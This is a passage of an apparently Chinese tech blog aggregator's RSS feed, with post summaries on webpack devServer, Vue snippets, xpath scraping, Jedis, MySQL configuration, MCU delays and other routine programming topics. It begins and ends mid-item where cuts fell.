utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL DEFAULT &#39;&#39; COMMENT &#39;创建用户名&#39;, `create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT &#39;创建时间&#39;, `update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT &#39;更新时间&#39;, PRIMARY KEY (`id`) ) ENGINE = InnoDB AUTO_INCREMENT = 4 DEFAULT CHARSET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci; ALTER TABLE `custom_dict` ADD UNIQUE INDEX `uk_dict_key` (`dict_key`) USING HASH COMMENT &#39;唯一索引，dict_key&#39;; SET FOREIGN_KEY_CHECKS = 1; 三、树形结构查寻 这里的功能，借助hutool里的TreeUtil工具类。</description>
    </item>
    <item>
      <title>webpack dev-server 配置</title>
      <link>https://bchobby.github.io/posts/6e2d49ac54b1a6fad3940487c2cd0263/</link>
      <pubDate>Tue, 12 Dec 2023 15:15:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e2d49ac54b1a6fad3940487c2cd0263/</guid>
      <description>1. output的path和publicPath output中的path的作用是告知webpack打包构建后的输出目录： 比如静态资源的js、css等输出到哪里，常见的会设置为dist、build文件夹等; output中还有一个publicPath属性，该属性是指定index.html文件打包引用的一个基本路径： 它的默认值是一个空字符串，所以我们打包后引入js文件时，路径是 bundle.js;在开发中，我们常常将其设置为 /，路径是 /bundle.js，那么浏览器会根据所在的域名+路径去请求对应的资源;如果我们希望在本地直接打开html文件来运行，会将其设置为 ./，路径时 ./bundle.js，可以根据相对路径去查找资源; 2. devServer的publicPath devServer中也有一个publicPath的属性，该属性是指定本地服务所在的文件夹:&#xA;它的默认值是 /，也就是我们直接访问端口即可访问其中的资源 http://localhost:8080;如果我们将其设置为了 /abc，那么我们需要通过 http://localhost:8080/abc才能访问到对应的打包后的资源;并且这个时候，我们其中的bundle.js通过 http://localhost:8080/bundle.js也是无法访问的:&#xA;所以必须将output.publicPath也设置为 /abc;&#xA;官方其实有提到，建议 devServer.publicPath 与 output.publicPath相同; 3. devServer的contentBase devServer中contentBase对于我们直接访问打包后的资源其实并没有太大的作用，它的主要作用是如果我们打包后的资源，又依赖于其他的一些资源，那么就需要指定从哪里来查找这个内容:&#xA;比如在入口文件index.html中，我们需要依赖一个 abc.js 文件；如果不设置contentBase，那么contentBase的默认值为publicPath如果设置contentBase，则需要去设置的这个contentBase路径上去找资源； 当然在devServer中还有一个可以监听contentBase发生变化后重新编译的一个属性: watchContentBase，将其设置为true即可。&#xA;4. hotOnly、host配置 hotOnly是当代码编译失败时，是否刷新整个页面：&#xA;默认情况下当代码编译失败修复后，我们会重新刷新整个页面；如果不希望重新刷新整个页面，可以设置hotOnly为true； host设置主机地址：&#xA;默认值是localhost；如果希望其他地方也可以访问，可以设置为 0.0.0.0； localhost 和 0.0.0.0 的区别：&#xA;localhost：本质上是一个域名，通常情况下会被解析成127.0.0.1;127.0.0.1：回环地址(Loop Back Address)，表达的意思其实是我们主机自己发出去的包，直接被自己接收; 正常的数据包经常 应用层 - 传输层 - 网络层 - 数据链路层 - 物理层 ;而回环地址，是在网络层直接就被获取到了，是不会经常数据链路层和物理层的;比如我们监听 127.0.0.1时，在同一个网段下的主机中，通过ip地址是不能访问的; 0.0.0.0：监听IPV4上所有的地址，再根据端口找到不同的应用程序; 比如我们监听 0.0.0.0时，在同一个网段下的主机中，通过ip地址是可以访问的; 5. port、open、compress port设置监听的端口，默认情况下是8080open是否打开浏览器：默认值是false，设置为true会打开浏览器；也可以设置为类似于 Google Chrome等值；compress是否为静态文件开启gzip compression： 默认值是false，可以设置为true；</description>
    </item>
    <item>
      <title>即拍即改！合合信息旗下扫描全能王推出首个移动端图片文字编辑功能</title>
      <link>https://bchobby.github.io/posts/d82dc17fe5abf1c1bd49bb877e2554bc/</link>
      <pubDate>Tue, 12 Dec 2023 14:53:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d82dc17fe5abf1c1bd49bb877e2554bc/</guid>
      <description>图片文档是承载信息的重要载体。由于格式原因，修改图片上的文字内容非常不便，例如商务人士携带合同去外地出差，发现文件上有错别字，但无法及时找到源文件来调整；同事发过来一张产品介绍截图，部分数字需要更新，接收者却无法在图片上进行修改。这些“强迫症不友好”的难题，如今被AI解决了。&#xA;近期，合合信息旗下扫描全能王APP“编辑文字”新功能正式上线。在AI智能扫描引擎的支持下，该功能可自动识别、修改图片中的文本，为使用者提供更便捷、更高效的文字处理体验，用户只需打开手机，便可轻松完成指尖上的编辑&#34;，无需因为细微的调整而耽误项目的进度。&#xA;图说：使用扫描全能王“编辑文字”功能，对图片中的标题进行修改&#xA;“编辑文字”功能主要从“增、改、删”三个方面解决用户的痛点。例如合同、报告、作业等文档图片中存在被遗漏的信息，可以使用“编辑文字”功能定位需要增加内容的地方，输入文字进行补充，若原图片上存在错误的信息，也能一键修改。如果文档中有冗余的文字内容，例如试卷上多出来的手写笔记，点击相关模块即可删除。&#xA;图说：“编辑文字”通过“增、改、删”形式助力用户快速修改图片文字内容&#xA;此前，用户想要修改文档图片上的文字，需要使用电脑进行操作。“编辑文字”功能的上线，系业内首次在移动端实现图片上的文字修改。&#xA;据扫描全能王团队成员介绍，扫描全能王自研的智能扫描引擎AI-SCAN支持对文字的高精度识别和图像的智能化处理，为“编辑文字”功能提供了技术保障。据权威实验室出具的报告显示，扫描全能王 APP 针对常规的印刷体文档字符平均识别率可达 99.77%， 手写体文档字符平均识别率为 97.00%。文字识别之外，AI-SCAN还需要对图片内容进行精准的分割、分层，将图片上的文字准确定位，与背景完整分离，减少对背景上的颜色、纹理因素的修改，让修改后的图片跟原图保持基本一致。&#xA;该功能也体现了AI-SCAN优秀的“版面还原”能力。文档图片上通常存在文本、表格、图片、印章等多种元素，如何精准地辨别各类元素，并在文档电子化过程中，让这些元素回归到对应的位置，系统需要对版面结构进行“分析”和“还原”。扫描全能王可高精度还原文字，保留原始排版，实现“即拍即改”的效果。&#xA;高质量的图片是实现精准版面分析、还原的基础。扫描全能王在业内率先推出了“智能高清滤镜”功能，可自动检测图像中存在的问题并判定图像的优化方式，实现模糊、阴影、手指、屏幕纹等干扰因素一键全处理。使用者无需思考拍摄角度、光源、背景，只要点击扫描拍摄按钮，即可得到一张如原稿打印般清晰、平整的图片。未来，扫描全能王也将不断拓展智能扫描的应用范围，通过智能文字识别、图像处理技术，帮助用户高效便捷地管理文档资产。</description>
    </item>
    <item>
      <title>vue代碼片段</title>
      <link>https://bchobby.github.io/posts/0339f4014851592e569ce417432bdcc7/</link>
      <pubDate>Tue, 12 Dec 2023 14:50:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0339f4014851592e569ce417432bdcc7/</guid>
      <description>{ &#34;vue-template&#34;: {//模板名称 &#34;prefix&#34;: &#34;vue&#34;,//触发条件 &#34;body&#34;: [//内容 &#34;&amp;lt;!--&#34;, &#34;* @description &#34;, &#34;* @fileName ${TM_FILENAME_BASE}&#34;, &#34;* @author aaaa&#34;, &#34;* @date ${CURRENT_YEAR}-${CURRENT_MONTH}-${CURRENT_DATE} ${CURRENT_HOUR}:${CURRENT_MINUTE}:${CURRENT_SECOND}&#34;, &#34;!--&amp;gt;&#34;, &#34;&amp;lt;template&amp;gt;&#34;, &#34; &amp;lt;div class=&#39;${TM_FILENAME_BASE}&#39;&amp;gt;&#34;, &#34; &amp;lt;/div&amp;gt;&#34;, &#34;&amp;lt;/template&amp;gt;&#34;, &#34;&#34;, &#34;&amp;lt;script&amp;gt;&#34;, &#34;export default {&#34;, &#34; props: { &#34;, &#34; },&#34;, &#34; name: &#39;${TM_FILENAME_BASE}&#39;,&#34;, &#34; data () {&#34;, &#34; return {&#34;, &#34;&#34;, &#34; }&#34;, &#34; },&#34;, &#34; methods: {&#34; &#34;&#34;, &#34;\t},&#34;, &#34; mounted () { &#34; &#34;&#34;, &#34;\t},&#34; &#34;}&#34;, &#34;&amp;lt;/script&amp;gt;&#34;, &#34;</description>
    </item>
    <item>
      <title>五：爬虫-数据解析之xpath解析</title>
      <link>https://bchobby.github.io/posts/d2896a11e6215199f4815500d796a173/</link>
      <pubDate>Tue, 12 Dec 2023 14:45:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2896a11e6215199f4815500d796a173/</guid>
      <description>五：数据解析之xpath解析 1.xpath介绍： ​ xpath是XML路径语言，它可以用来确定xml文档中的元素位置，通过元素路径来完成对元素的查找，HTML就是XML的一种实现方式，所以xpath是一种非常强大的定位方式​ XPath（XML Path Language）是一种XML的查询语言，它能在XML树状图中寻找节点。XPath用于在XML文档中通过元素和属性进行导航​ xml是一种标记语法的文本格式，xpath可以方便的定位xml中的元素和其中的属性值。lxml是Python中的一个第三方模块，它包含了将html文本转成xml对象，和对对象执行xpath的功能 lxml的安装：&#xA;#在终端输入 pip install lxml xpath的弊端：&#xA;​ 当我们在批量获取数据的时候，如果存在的特别数据比较多，这个时候只用xpath的话，会无法满足用户的需求，所以针对于不同的网页，我们要灵活的去运用我们的数据解析方式&#xA;（1）HTML树状结构图：&#xA;​ HTML 的结构就是树形结构，HTML 是根节点，所有的其它元素节点都是从根节点发出的，其它的元素都是这棵树上的节点，每个节点还可能有属性和文本值，而路径就是指某个节点到另一个节点的路线&#xA;（2）节点之间的关系：&#xA;​ 父节点：HTML 是 body 和 head 节点的父节点​ 子节点：head 和 body 是 HTML 的子节点​ 兄弟节点：拥有相同的父节点，head 和 body 就是兄弟节点，title 和 div 不是兄弟，因为他们不是同一个父节点​ 祖先节点：body 是 form 的祖先节点，爷爷辈及以上​ 后代节点：form 是 HTML 的后代节点，孙子辈及以下 2.Xpath中的绝对路径与相对路径 ： ​ Xpath中的绝对路径是从HTML根节点开始算的；而相对路径（使用的更多）则是从任意节点开始的。通过开发者工具，我们可以拷贝到Xpath的绝对路径和相对路径代码：&#xA;​ 注意： 绝对路径是以 Elements 为基准去寻找的，我们爬虫获取的是右键的网页源代码；右键的网页源代码 ！= Elements，Elements 是前端页面最终渲染的结果，它与网页源代码是有属性上的差异的；但右键的网页源代码与Elements是非常相似的，但是在某些元素或者元素属性上会存在不同。这就会导致我们直接右键复制的xpath获取不到真正的数据；所以说只能手写，不能复制（把数据解析全部学会之后，可以复制，因为到那个时候就有能力对复制到的内容进行微调了）&#xA;（1）绝对路径（了解即可）：&#xA;​ 在Xpath中最直观的定位策略就是绝对路径，绝对路径是从根节点/html开始往下一层层的表示，直到出来需要的节点为止&#xA;（2）相对路径（常用）：&#xA;​ 在Xpath中相对路径方法以 “//” 开头，相对路径可以从任意的节点开始，一般会选取一个可以唯一定位到的元素开始写，这样可以增加查找的准确性</description>
    </item>
    <item>
      <title>生产环境去除console.log打印的两种方式</title>
      <link>https://bchobby.github.io/posts/ec941e984cd8089788f436566363d64e/</link>
      <pubDate>Tue, 12 Dec 2023 14:32:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec941e984cd8089788f436566363d64e/</guid>
      <description>通过环境变量控制console.log的打印，具体操作如下：&#xA;第一种 1、根目录 .env.xxx文件中写入NODE_ENV参数&#xA;2、在main.js里面加上下列语句：&#xA;if (process.env.NODE_ENV === &#39;production&#39;) { console.log = () =&amp;gt; {} console.warn = () =&amp;gt; {} } 以上完成了配置&#xA;第二种 在babel.config.js 文件中进行修改&#xA;1、需下载这个包transform-remove-console&#xA;npm install babel-plugin-transform-remove-console --save-dev 2、在babel.config.js可如下写&#xA;// babel.config.js // 生产环境移除console const remPlugins = [] if (process.env.NODE_ENV === &#39;production&#39;) { remPlugins.push(&#39;transform-remove-console&#39;) } module.exports = { &#34;plugins&#34;:[ ...remPlugins ] }; 原文链接：生产环境去除console.log打印的两种方式-CSDN博客</description>
    </item>
    <item>
      <title>常用单片机编程思想及例程3——延时篇</title>
      <link>https://bchobby.github.io/posts/82b40acd16da7dd09101d9c633ac2791/</link>
      <pubDate>Tue, 12 Dec 2023 14:27:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82b40acd16da7dd09101d9c633ac2791/</guid>
      <description>目录&#xA;延时应用&#xA;阻塞型延时&#xA;非阻塞型延时&#xA;嵌入式编程中，很多地方都要用到延时程序，常用的单片机延时有很多种，大概分为两种类型：阻塞型延时非阻塞型延时，今天将就以下几种常见的延时函数使用进行说明。&#xA;延时应用 阻塞型延时 顾名思义，这种延时是通过程序“死等”来完成延时操作的，一般在时效性要求不高的场合下使用，但不宜延时太长时间，过长的阻塞延时会极大的影响CPU的效率。实现这种延时的方法有很多，如利用空指令、循环空跑等封装出的延时函数，这类延时大都做粗延时（不太精确）使用，如果想要做到精确的延时，还可以配合定时器使用，以下以华大单片机为例说明这些延时的具体实现方法。&#xA;///*空指令实现延时（在stm32环境中，一般多少M的主频就放多少个空指令，就能实现1us的延时，但是华大单片机上好像不行，可以做粗延时使用）*/// void delay(void) { _NOP();_NOP();_NOP();_NOP();_NOP();_NOP();_NOP();_NOP(); _NOP();_NOP();_NOP();_NOP();_NOP();_NOP();_NOP();_NOP(); } //循环空跑 void delay_nms(unsigned short time) { unsigned short i = 0, j = 0; for(i = 0;i &amp;lt; time;i++) { for(j = 0;j &amp;lt; 925;j++) //mcu环境不同，j的阈值也不同，需要多次尝试 { } } } //利用定时器实现延时 #include &#34;timer4.h&#34; static uint16_t timer_timeout = 0; void Timer4_Init(void) { stc_adt_basecnt_cfg_t stcAdtBaseCntCfg; DDL_ZERO_STRUCT(stcAdtBaseCntCfg); Sysctrl_SetPeripheralGate(SysctrlPeripheralAdvTim, TRUE);&#x9;///&amp;lt; ADT外设时钟使能 stcAdtBaseCntCfg.enCntMode = AdtSawtoothMode;&#x9;///&amp;lt; 锯齿波模式 stcAdtBaseCntCfg.enCntDir = AdtCntUp;&#x9;///&amp;lt; 递加计数 stcAdtBaseCntCfg.</description>
    </item>
    <item>
      <title>mockjs 导致cesium地图无法加载</title>
      <link>https://bchobby.github.io/posts/40a954f78c336d61c5811ca851c964b0/</link>
      <pubDate>Tue, 12 Dec 2023 14:17:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40a954f78c336d61c5811ca851c964b0/</guid>
      <description>1.报错信息 Uncaught (in promise) TypeError: Failed to execute &#39;createImageBitmap&#39; on &#39;Window&#39;: The provided value is not of type &#39;(Blob or HTMLCanvasElement or HTMLImageElement or HTMLVideoElement or ImageBitmap or ImageData or OffscreenCanvas or SVGImageElement or VideoFrame)&#39;. 3.问题分析 搜索一番，没有发现类似问题 开始以为是cesium的key有问题，更换key，更换成高德的图层都无效 于是仔细研究报错信息，发现它说的是提供的数据格式不对，开F12查看请求数据&#xA;发现请求数据http状态是304，而且是由mock.js发起的请求&#xA;3.问题解决 查了一下mock.js的工作原理，它直接替换了xhr请求，改成了自己的实现，如果路由没有匹配到，就进行跳转。这种实现方式对二进制流有较大的影响。 解决方案有两个，一个是去掉mock.js, 目前我们的项目阶段不允许。二是修改mock.js的源码。 代码路径：项目//node_modules/mockjs/dist/mock.js 大约在8360行：&#xA;// 原生 XHR if (!this.match) { this.custom.xhr.send(data) return } 修改为&#xA;// 原生 XHR if (!this.match) { this.custom.xhr.responseType = this.responseType this.custom.xhr.send(data) return } 当然这是一种比较偷懒的方式。修改完了以后要保存重新运行项目刷新。</description>
    </item>
    <item>
      <title>m_map绘制多波束数据</title>
      <link>https://bchobby.github.io/posts/c29f1f506212d02042df789fae767898/</link>
      <pubDate>Tue, 12 Dec 2023 13:32:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c29f1f506212d02042df789fae767898/</guid>
      <description>之前，分享了m_map如何绘制本地高程数据：m_map导入本地地形数据。&#xA;其实，m_map还可以绘制多波束测深数据。&#xA;1. 多波束网站 多波束测深数据可以从https://www.ncei.noaa.gov/maps/grid-extract/或者https://www.ncei.noaa.gov/maps/bathymetry/下载。&#xA;多波束测深数据的分辨率为3秒，约为90 m 。&#xA;2. 绘图 以纽约以东的一片海域为例。&#xA;这是原始的多波束数据，里面无有效数据处，被填充为0值，显示如下： 将0值替换为NaN值，即显示为空白，显示如下： 将m_map自带的1分的分辨率地形图，融合到多波束数据中，显示如下： 显示带有海山的区域：&#xA;注：绘图色标参考自：https://blog.csdn.net/slandarer/article/details/127719784&#xA;3. 代码 mat_name=&#39;newyork&#39;; fignum=1 load([mat_name,&#39;_elevation.mat&#39;]) elev=flipud(elev); % 将0值替换为NaN % elev(find(elev==0))=nan; lonlim=[extent(1:2)] latlim=[extent(3:4)] [nlat,nlon]=size(elev); Lon=[linspace(lonlim(1),lonlim(2),nlon)]; Lat=[linspace(latlim(1),latlim(2),nlat)]&#39;; %% 高程数据融合 % 在多波束数据无数据（标志为0处，替换为自带的1分高程数据） % 首先提取1分的高程数据 [ELEV,LON,LAT]=m_etopo2([lonlim(1)-1 lonlim(2)+1 latlim(1)-1,latlim(2)+1]); [Lon,Lat]=meshgrid(Lon,Lat); % 将1分数据插值为和多波束数据同样的大小 ELEV_p=interp2(LON,LAT,ELEV,Lon,Lat); for i=1:nlat for j=1:nlon if elev(i,j)==0 elev(i,j)=ELEV_p(i,j); end end end %% 绘图 m_proj(&#39;mercator&#39;,&#39;long&#39;,[-67 lonlim(2) ],&#39;lat&#39;,[38.5,latlim(2)]); caxis([-5000 0]) colormap(slanCM(&#39;rainbow&#39;)) hc=colorbar; set(get(hc,&#39;title&#39;),&#39;string&#39;,&#39;Elevation(m)&#39;) set(hc,&#39;tickdir&#39;,&#39;out&#39;) m_shadedrelief(Lon(1,:),Lat(:,1),elev,&#39;lightangle&#39;,45,&#39;gradient&#39;,10) m_gshhs(&#39;ic&#39;,&#39;color&#39;,&#39;k&#39;) m_grid(&#39;box&#39;,&#39;on&#39;,&#39;tickdir&#39;,&#39;out&#39;,&#39;gridlines&#39;,&#39;no&#39;) set(gcf,&#39;position&#39;,[10 10 400 400]) figname=[mat_name,num2str(fignum)]; print(&#39;-dpng&#39;,&#39;-r500&#39;,[figname,&#39;.</description>
    </item>
    <item>
      <title>SpringBoot系列之集成Jedis教程</title>
      <link>https://bchobby.github.io/posts/89c3bcc0966cb1bc9054790362d907e0/</link>
      <pubDate>Tue, 12 Dec 2023 10:31:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89c3bcc0966cb1bc9054790362d907e0/</guid>
      <description>SpringBoot系列之集成Jedis教程，Jedis是老牌的redis客户端框架，提供了比较齐全的redis使用命令，是一款开源的Java 客户端框架，本文使用Jedis3.1.0加上Springboot2.0，配合spring-boot-starter-data-redis使用，只给出简单的使用demo&#xA;软件环境： JDK 1.8&#xA;SpringBoot 2.2.1&#xA;Maven 3.2+&#xA;Mysql 8.0.26&#xA;spring-boot-starter-data-redis 2.2.1&#xA;jedis3.1.0&#xA;开发工具&#xA;IntelliJ IDEA&#xA;smartGit&#xA;项目搭建 使用Spring官网的https://start.spring.io快速创建Spring Initializr项目&#xA;选择maven、jdk版本&#xA;选择需要的Dependencies，选择一下Spring Data Redis&#xA;点击next就可以生成一个Springboot项目，不过jedis客户端配置还是要自己加的，所以对pom文件做简单的修改，spring-boot-starter-data-redis默认使用lettuce，所以不用的可以exclusion，然后再加上jedis的配置&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-data-redis&amp;lt;/artifactId&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;io.lettuce&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lettuce-core&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;/exclusions&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;redis.clients&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jedis&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 新建一个application.yml配置文件，加上redis一些配置&#xA;spring: redis: port: 6379 host: 127.0.0.1 password: timeout: 180000ms database: 1 jedis: pool: min-idle: 0 max-idle: 100 max-active: 100 max-wait: -1ms 新增Redis配置，配置RedisConnectionFactory 为JedisConnectionFactory，JedisPool，RedisTemplate需要用到也可以配置一下&#xA;package com.example.jedis.configuration; import cn.hutool.core.convert.Convert; import lombok.</description>
    </item>
    <item>
      <title>差生文具多系列之最好看的编程字体</title>
      <link>https://bchobby.github.io/posts/95c51c72de5a70e2808f65654db82f85/</link>
      <pubDate>Tue, 12 Dec 2023 09:52:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95c51c72de5a70e2808f65654db82f85/</guid>
      <description>📢 声明：&#xA;🍄 大家好，我是风筝&#xA;🌍 作者主页：【古时的风筝CSDN主页】。&#xA;⚠️ 本文目的为个人学习记录及知识分享。如果有什么不正确、不严谨的地方请及时指正，不胜感激。&#xA;直达博主：「古时的风筝」 。（搜索或点击扫码）&#xA;————————————————&#xA;对于我们程序员而言，每天面对时间最长的就是各种 IDE 了。选择一款好看的编程字体就变得很重要了，赏心悦目，对身心健康还是很有帮助的，可能吧。&#xA;如果你现在还在使用默认的字体，或者随便用的，那可以考虑一下下面这三款字体。没准换上之后，心情一好，还能少写俩 bug 呢。&#xA;JetBrains Mono 大家都知道，我们平时开发用的 IDEA 就是JetBrains 家开发的，除了 IDEA 外， 还有其他为各种语言开发的对应工具，比如为 Python 提供的 PyCharm 等。作为专业的 IDE 开发商，对用户诉求那肯定是非常清楚的，所以专门设计了自家的编程字体 JetBrains Mono 。&#xA;我目前用的就是这一款字体。JetBrains Mono 是一种等宽无衬线字体。&#xA;等宽 Mono 的就是等宽意思，我们从小学写字的时候，老师告诉我们：写的字要方方正正才好看。那时候的本子是田字格的，每一个汉字摆在一个格子里，不大不小的，这样整整齐齐的一篇写下来才好看，要不说我们的文化博大精深呢。&#xA;下面的字体中，上面的是非等宽，下面的就是等宽字体，还是等宽的更好看一些。&#xA;无衬线 我们有时候在页面上会看到这样的样式定义，后面有个 sans-serif，这就是无衬线的意思。&#xA;body { font-family:Helvetica Neue&#34;，Helvetica,Arial,sans-serif; } 无衬线只是针对西方语言的，比如英语，东方文字大部分都没这个特性，除非故意设计的字体。而编程语言绝大部分都是英语的，所以有无衬线在视觉体验上很明显。&#xA;下图是衬线字体和无衬线字体的区别，视觉感官上区别非常大。&#xA;下图是 JetBrains Mono 字体在 IDEA 中的效果。&#xA;下图是 JetBrains Mono 字体在 VSCode 中的效果。&#xA;可以到官网下载 https://www.jetbrains.com/lp/mono/&#xA;Consolas 这个字体使用的人数应该是最多的了。我刚开始用 Visual Studio 做 C# 开发的时候一直用这款字体，后来转到 Java 之后也用了一款时间，直到 JetBrains Mono 字体出来之前，我一直用它。</description>
    </item>
    <item>
      <title>「差生文具多系列」推荐两个好看的 Redis 客户端</title>
      <link>https://bchobby.github.io/posts/1de92965886931085c8381b27421d83e/</link>
      <pubDate>Tue, 12 Dec 2023 09:47:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1de92965886931085c8381b27421d83e/</guid>
      <description>📢 声明：&#xA;🍄 大家好，我是风筝&#xA;🌍 作者主页：【古时的风筝CSDN主页】。&#xA;⚠️ 本文目的为个人学习记录及知识分享。如果有什么不正确、不严谨的地方请及时指正，不胜感激。&#xA;直达博主：「古时的风筝」 。（搜索或点击扫码）&#xA;————————————————&#xA;大家好，我是风筝&#xA;软件推荐时间到，推荐两款我常用的 Redis 客户端，都是免费的，且支持Mac、Windows，如果你之前的 Redis 客户端用的不顺手，可以试试下面这两个。&#xA;RedisInsight 与其他 Redis 客户端不同，RedisInsight 是 Reids 官方出品，地主家的亲儿子。在 Redis 官网上给它的介绍是 「The best Redis GUI」。&#xA;首先颜值还是比较高的，尤其配置成 Dark 模式，马上格调就上来了。&#xA;一般管理页面，上面还有当前实例的基本监控指标，内存使用量、连接数等等。&#xA;还可以查看数据库分析报告以及慢查询日志。&#xA;有一个缺点就是没办法将一个实例的所有 database 都列出来，假设你现在用 db0，想要看db3的话， 要手动在上方输入。不过也不算什么大问题。&#xA;下载地址：&#xA;直接到官网下载即可，下载时会要求用邮箱注册一个账号，注册上就行，下载和使用都是免费的。&#xA;https://redis.com/redis-enterprise/redis-insight/&#xA;Tiny RDM 如果你之前用过 Redis Desktop Manager 的话，可以直接切换到Tiny RDM。布局以及操作方式都很一致。最近 Redis Desktop Manager 的官网好像挂了，不知道是不是不维护了。&#xA;这是 Redis Desktop Manager 布局。&#xA;这是 Tiny RDM 的布局。支持暗黑模式，可以查看状态信息，包括运行时间、连接数、内存等等。&#xA;可以查看慢日志，执行命令行等。&#xA;下载地址：&#xA;到GitHub 仓库上下载即可，目前有2.4K star 了，是国产的开源项目哦。</description>
    </item>
    <item>
      <title>12月11日作业</title>
      <link>https://bchobby.github.io/posts/fe2d3cb21dff77b14dc8548e03122022/</link>
      <pubDate>Tue, 12 Dec 2023 09:35:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe2d3cb21dff77b14dc8548e03122022/</guid>
      <description>完善对话框，点击登录对话框，如果账号和密码匹配，则弹出信息对话框，给出提示”登录成功“，提供一个Ok按钮，用户点击Ok后，关闭登录界面，跳转到其他界面&#xA;如果账号和密码不匹配，弹出错误对话框，给出信息”账号和密码不匹配，是否重新登录“,并提供两个按钮Yes|No，用户点击Yes后，清除密码框中的内容，继续让用户进行登录，如果用户点击No按钮，则直接关闭登录界面&#xA;如果用户点击取消按钮，则弹出一个问题对话框，给出信息”您是否确定要退出登录？“，并给出两个按钮Yes|No，用户迪纳基Yes后，关闭登录界面，用户点击No后，关闭对话框，继续执行登录功能&#xA;要求：基于属性版和基于静态成员函数版至少各用一个&#xA;第一个头文件&#xA;#ifndef WIDGET_H #define WIDGET_H #include &amp;lt;QWidget&amp;gt; #include &amp;lt;QMessageBox&amp;gt; QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACE class Widget : public QWidget { Q_OBJECT public: Widget(QWidget *parent = nullptr); ~Widget(); private slots: void on_btn_log_clicked(); void on_btn_cancle_clicked(); private: Ui::Widget *ui; signals: void my_jump(); //第一个界面的自定义信号 }; #endif // WIDGET_H 第一个源文件&#xA;#include &#34;widget.h&#34; #include &#34;ui_widget.h&#34; Widget::Widget(QWidget *parent) : QWidget(parent) , ui(new Ui::Widget) { ui-&amp;gt;setupUi(this); this-&amp;gt;setWindowFlags(Qt::FramelessWindowHint); this-&amp;gt;setAttribute(Qt::WA_TranslucentBackground); this-&amp;gt;setWindowIcon(QIcon(&#34;:/pictrue/kunkun.webp&#34;)); } Widget::~Widget() { delete ui; } void Widget::on_btn_log_clicked() //登录按钮槽函数 { //静态成员函数版本 if(ui-&amp;gt;edit_id-&amp;gt;text() == &#34;</description>
    </item>
    <item>
      <title>windows下mysql8修改my.ini设置datadir后无法启动问题</title>
      <link>https://bchobby.github.io/posts/b1845bc69f4b2b2c2cd370c0b4378d5a/</link>
      <pubDate>Tue, 12 Dec 2023 09:28:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1845bc69f4b2b2c2cd370c0b4378d5a/</guid>
      <description>mysql默认数据库文件在安装目录下。创建数据库的时候，并不能指定数据文件存放位置。这就很扯。它只能通过修改mysql.ini来更改数据文件存放目录，而且是一刀切的，没有办法做到数据文件和日志文件分开存放。假如服务器有多个盘，就不能利用磁盘不同IO的优势。但是，既然是服务器，通常会做阵列的吧，做了阵列，就无所谓哪个盘了。&#xA;我这次要说的，是修改mysql.ini后，mysql无法启动的问题。我遇到的是2个原因：一个是mysql.ini修改后字符编码被改变，导致mysql无法识别；另一个是存放mysql数据文件的新路径没有足够权限。&#xA;1、字符编码问题 一般来说，mysql.ini位于mysql安装目录下。但其实并不准确，像我的操作系统是win10，mysql默认安装在c:\program files，但mysql.ini位于C:\ProgramData\MySQL\MySQL Server 8.0。&#xA;那么要改变数据文件的存储路径，就要修改mysql.ini。然而保存后，就有可能会改变其字符编码，导致mysql无法识别，从而无法启动mysql。&#xA;正确做法是：&#xA;1）首先备份一个mysql.ini。切记！！！&#xA;2）用记事本打开mysql.ini，修改mysql.ini里的datadir，如&#xA;# Path to the database root datadir=e:\mysql\Data 3）mysql.ini默认字符编码是ANSI。所以修改后，用记事本另存为，记得选字符编码为ANSI。&#xA;2、新路径权限问题 如上所述，我将datadir修改成新的路径e:\mysql\Data。但要注意，这个文件夹必须要有足够的权限，mysql才能使用。其中，关键的权限是SYSTEM要有全部权限。</description>
    </item>
    <item>
      <title>Java中method.invoke用法详解</title>
      <link>https://bchobby.github.io/posts/a12dbe4faa3a857871fcd06d42593961/</link>
      <pubDate>Tue, 12 Dec 2023 08:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a12dbe4faa3a857871fcd06d42593961/</guid>
      <description>Java中method.invoke用法详解 大家好，我是免费搭建查券返利机器人赚佣金就用微赚淘客系统3.0的小编，也是冬天不穿秋裤，天冷也要风度的程序猿！今天，让我们一起深入了解Java中Method.invoke()的用法，探索这个方法在Java反射中的强大功能。&#xA;Java中的Method.invoke()简介 Method.invoke()是Java反射机制中的一个核心方法，它允许在运行时动态地调用类的方法。通过使用Method.invoke()，我们可以绕过编译时的静态检查，实现对类的方法进行动态调用，非常适用于一些灵活的、运行时确定的场景。&#xA;基本用法 import java.lang.reflect.Method; public class MethodInvokeExample { public static void main(String[] args) throws Exception { // 获取Class对象 Class&amp;lt;?&amp;gt; clazz = MyClass.class; // 获取方法名为 &#34;myMethod&#34;，参数为 int 的方法 Method method = clazz.getMethod(&#34;myMethod&#34;, int.class); // 创建实例 Object instance = clazz.getDeclaredConstructor().newInstance(); // 调用方法 method.invoke(instance, 42); } } class 